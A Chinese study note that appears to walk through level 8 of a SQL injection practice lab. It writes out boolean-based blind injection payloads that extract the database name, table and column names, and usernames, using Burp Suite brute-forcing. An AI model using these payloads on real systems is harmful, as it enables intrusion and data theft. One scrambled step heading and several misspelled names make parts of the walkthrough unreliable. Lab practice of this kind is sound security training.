实用指南:【撸靶笔记】第八关:GET - Blind - Boolian Based - Single Quotes
第8关
1、判断注入点
正确页面:
错误页面:
找到注入点:?id=1' and 1=1--+
2、判断列数
?id=1' order by 3--+
否有联合查询漏洞就是3、判断
页面没有回显,确认没有联合查询漏洞
4、判断是否有报错注入
页面错误回显,确认没有报错注入
5、判断是否有布尔盲注
页面按预期正确回显,确认存在布尔盲注
同时,库名长度在5---10之间
确认库名长度为8:?id=1' and length(database())=8 --+
6、爆库名
?id=1' and substr((database()),1,1)='s' --+
借助BP抓包爆破,得到表名为:security
7、爆表
爆表个数:爆出有4个表
?id=1' and (select count(*) from information_schema.tables where table_schema=database())=4 --+
爆表名长度:爆出第一个表名长度为6
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6 --+
利用BP暴力破解,爆得表名字段长度分别为:6---8---7---5
爆表名:这里手动爆出第4张表的第2个字符为s
//使用ascii( )方法 利用ascii码值进行字符匹对;可以提高效率
?id=1' and (substr(( select table_name from information_schema.tables where table_schema=database() limit3,1),2,1))='s'--+
借助BP爆破出所有表名:
Payload载荷:0---31—61—81—71—5a—zA—Z
表1:emils
表2:referers
表3:ugents
表4:users
8、爆字段名:
爆字段长度:通过二分法,观察页面回显,确定字段名长度为20
?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=20 --+
字段名长度大于19
字段名长度小于21
爆具体的字段名:爆的第user表的第一个字段是i
?id=1'and (select substr((group_concat(column_name)),1,1)from information_schema.columns where table_name='users' and table_schema=database())='i' --+
利用BP爆出剩下的字段名:id---username---password
9、爆username:
爆内容条数:
?id=1' and (select count(*) from users )=13 --+
爆username字段下资料的长度:username字段下的第一条数据的长度为4
?id=1' and length((select username from users limit 0,1))=4 --+
利用BP爆username字段下的所有数据长度:
共13条username,长度分别是4、8、5、6、6、8、6、5、6、6、6、7、6
爆具体资料:
?id=1' and substr((select username from users limit0,1),1,1)='a' --+
Payload载荷:0—12是指每条username
1—4是指每条(共13条)username的每个具体字符
a—zA—Z0—9用来爆出每个字符内容
利用BP暴力破解:
第一条username值:dumb
第二条username值:AngelinA
以此类推,继续爆破剩下的11条和13条password,然后将它们依一配对